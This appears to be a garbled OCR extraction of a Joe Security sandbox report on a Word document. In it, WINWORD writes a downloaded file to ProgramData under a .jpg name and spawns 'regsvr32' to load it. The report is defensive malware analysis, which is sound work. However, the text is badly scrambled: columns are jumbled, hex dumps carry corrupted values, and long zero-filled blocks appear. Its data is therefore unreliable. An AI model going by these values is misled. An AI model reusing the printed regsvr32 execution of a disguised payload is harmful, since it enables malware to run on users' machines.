FF FF FF FF 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

success or wait

success or wait

P R R R R R R

Completion

success or wait

Source

Count Address Symbol
2 7FEF4002158 unknown
1 7FEE8D9EC53 ReadFile
1 7FEE8DA6CAC ReadFile
2 7FEE9049ACO unknown

Source
Address

7FEE905E72B
7FEE905E72B
7FEE905E72B
7FEE9049ACO
7FEE9049ACO
7FEE9049ACO
7FEE9049ACO

Symbol
RegCreateKeyExA
RegCreateKeyExA
RegCreateKeyExA
unknown

unknown

unknown

unknown

Source

Count Address

Symbol

1 7FEE9049ACO unknown
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Key Path

Key Value Modified

Key Path

HKEY_CURRENT_USER\Softwar F50BF

e\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F50BF

Copyright Joe Security LLC 2021

Name

Type

binary

Name

Type

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 FF FF FF FF

Old Data

04 00 00 00 5C 09 00 00 2A
00 00 00 43 00 3A 00 5C 00
5500 73 00 6500 72 00 73
00 5C 00 41 00 6C 00 62 00
750073 005C 00410070
00 70 00 44 00 61 00 74 00
61 00 5C 00 4C 00 6F 00 63
00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69
00 6D 00 67 00 73 00 2E 00
68 00 74 00 6D 00 04 00 00
00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00
00 00 00 F7 5A 63 54 91 3C
D7 01 BF 50 OF 00 BF 50 OF
00 00 00 00 00 DB 04 00 00
02 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

New Data

04 00 00 00 5C 09 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00
74 00 6D 00 04 00 00 00 69
00 6D 00 67 00 73 00 00 00
00 00 01 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 BF
50 OF 00 BF 50 OF 00 00 00
00 00 DB 04 00 00 02 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

Count Address

Count Address

1

Source
Symbol

Source
Symbol

7FEE9049ACO unknown
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Key Path

Copyright Joe Security LLC 2021

Name

Type

00 00 00 00 00 00 00 00 00
2AcPB 900 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHAH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Source

Key Path Name Type Q0PDAA00 00 00 00 00 00  ARAODHEAHO 00 00 00 00 00 00 Completion Count Address Symbol
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF
00 00 00 00 00 00 00 00 00 FF FF
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

Analysis Process: WINWORD.EXE PID: 1692 Parent PID: 584

General

Start time: 17:47:34

Start date: 28/04/2021

Path: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path

C:\Users\user

C:\Users\user\AppData\Local

Copyright Joe Security LLC 2021

false

'C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
0x13f5b0000

1424032 bytes
95C38D04597050285A18F66039EDB456

true

true

C, C++ or other language

high

Access Attributes

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

Options Completion

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision

Source
Count Address Symbol
1 7FEE90AFD74 unknown
1 7FEE90AFD74 unknown
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File Path

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

c:\programdata\argumentSelectTmp.jpg

File Path

Old File Path

File Written

File Path

C:\ProgramData\argumentSelectTmp.jpg

Copyright Joe Security LLC 2021

Access

read data or list

Attributes

device

directory |
synchronize

read data or list

device

directory |
synchronize

read data or list

device

directory |
synchronize

read data or list

device

directory |
synchronize

read data or list

device

directory |
synchronize

read data or list

device

directory |
synchronize

read attributes |

device

synchronize |
generic write

New File Path

Offset Length

unknown 204

Value

3c 21 44 4f 43 54 59
50 45 20 48 54 4d 4c
20 50 55 42 4c 49 43
20 22 2d 2f 2f 49 45
54 46 2f 2f 44 54 44
20 48 54 4d 4c 20 32
2e 30 2f 2f 45 4e 22
3e 0a 3c 68 74 6d 6¢
3e 3c 68 65 61 64 3e
Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64
3c 2f 74 69 74 6¢ 65
3e 0a 3c 2f 68 65 61
64 3e 3c 62 6f 64 79
3e Oa 3c 68 31 3e 4e
6f 74 20 46 6f 75 6e
64 3c 2f 68 31 3e Oa
3c 70 3e 54 68 65 20
72 657175657374
65 64 20 55 52 4c 20
22 6¢ 61 6b 61 34 22
20 77 61 73 20 6e 6f
74 20 66 6f 75 6e 64
20 6f 6e 20 74 68 69
732073657276 65
72 2e 3c 2f 70 3e Oa
3c 2f 62 6f 64 79 3e
3c 2f 68 74 6d 6¢ 3e
Oa

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

sequential only |
synchronous io
non alert | non
directory file

Ascii

<IDOCTYPE HTML

Source

Completion Count Address Symbol
object name collision 1 7FEEQ0AFD74 unknown
object name collision 1 7FEEQ0AFD74 unknown
object name collision 1 7FEEQ0AFD74 unknown
object name collision 1 7FEEQ0AFD74 unknown
object name collision 1 7FEEQ0AFD74 unknown
object name collision 1 7FEEQ0AFD74 unknown
success or wait 1 7FEE8D55A65 CreateFileW
Source
Completion Count Address Symbol
Source
Completion Count Address Symbol
Source
Completion Count Address Symbol
success or wait 1 7FEE8BD55EE6 WriteFile

PUBLIC "-//IETF//DTD
HTML 2.0/EN">.<html>
<head>.<title>404 Not
Found<tftitle>.</head>
<body>.<h1>Not Found
</h1>.<p>The
requested URL "laka4"
was not found on this
server.</p>.</body>
</html>.
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File Read

File Path

C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC

C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC

Registry Activities

Key Path

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic

rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic

rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic

rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic

rosoft\VBA\7.0\Common

Key Path Name

Name Type

PropertiesWindow unicode

MainWindow unicode
MdiMaximized unicode
Dock binary
FolderView unicode
Tool binary

CtlsShowSelected unicode

DsnShowSelected unicode

Type Old Data

Source

Offset Length Completion Count Address Symbol

unknown 1 success or wait 1 7FEESDFEC53 ReadFile

unknown 4096 success or wait 1 7FEEBEO06CAC ReadFile

Source

Completion Count Address Symbol

Source

Data Completion Count Address Symbol

8281806401 success or wait 1 7FEE91140BA RegSetValueExA

00001 success or wait 1 7FEE91140BA RegSetValueExA

0 success or wait 1 7FEE91140BA RegSetValueExA

02 00 4C 01 05 00 08 00 04 00 success or wait 1
1E 00 FC 03 FC 02 FF 02 01 01
04 00 1E 00 B8 00 FC 02 FF 02
00 01 04 00 1E 00 B8 00 2F 01
05 00 00 01 04 00 35 01 B8 00
FC 02 01 00 00 01 BE 00 1E 00
FC 03 FC 02 FF 02 00 01 BE 00
1E 00 FC 03 FC 02 FF 02 01 01
BE 00 1E 00 FC 03 FC 02 00 00
00 01 BB 03 5E 00 FC 03 FC 02
06 00 00 00 D3 00 AF 01 09 03
32 02 FF 03 01 00 D3 00 AF 01
09 03 32 02 04 00 00 00 93 01
AF 01 09 03 32 02 03 00 00 00
D3 00 AF 01 09 03 32 02 02 00
000021 00 72 01 6C 02 12 02
FF 03 01 00 21 00 72 01 E8 00
12 02 04 00 00 00 EE 00 72 01
A9 01 12 02 03 00 00 00 AF 01
72 01 6C 02 12 02 02 00 00 00
F8 02 81 00 AC 03 01 01 05 00
00 00 59 00 30 02 0D 01 4B 03
01 00 00 00 3A 03 BC 00 79 03
1F 02 06 00 00 00 16 00 16 00
D9 01 C4 00 04 00 01 00 2C 00
2C 00 EB 01 E3 00 03 00 01 00
42 00 42 00 3B 02 F7 00 02 00 01
00 00 00 00 00 00 00 00 00 08 00
00 00 58 00 57 00 37 01 FF 01 01
00 01 00 00 00 00 00 00 00 00 00
06 00 01 00 6E 00 6E 00 7F 01
52 01 05 00 01 00 00 00 00 00 00
00 00 00 00 00 01 00

7FEE90E7506 RegSetValueExA

1 success or wait 1 7FEE91140BA RegSetValueExA

00 00 00 00 07 00 00 00 47 65 6E success or wait 1
65 72 61 6C 00 FF FF FF FF FF
FF FF FF

7FEE911426C RegSetValueExA

0 success or wait 1 7FEE91140BA RegSetValueExA

0 success or wait 1 7FEE91140BA RegSetValueExA

Source

New Data Completion Count Address Symbol

Analysis Process: regsvr32.exe PID: 2544 Parent PID: 1692

General

Start time:
Start date:
Path:

Copyright Joe Security LLC 2021

17:47:35
28/04/2021
C:\Windows\System32\regsvr32.exe
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Wow64 process (32bit): false

Commandline: regsvr32 c:\programdata\argumentSelectTmp.jpg
Imagebase: 0xff250000

File size: 19456 bytes

MDS5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\ProgramData\argumentSelectTmp.jpg unknown 64 success or wait 1 FF25274D ReadFile
Disassembly

Code Analysis
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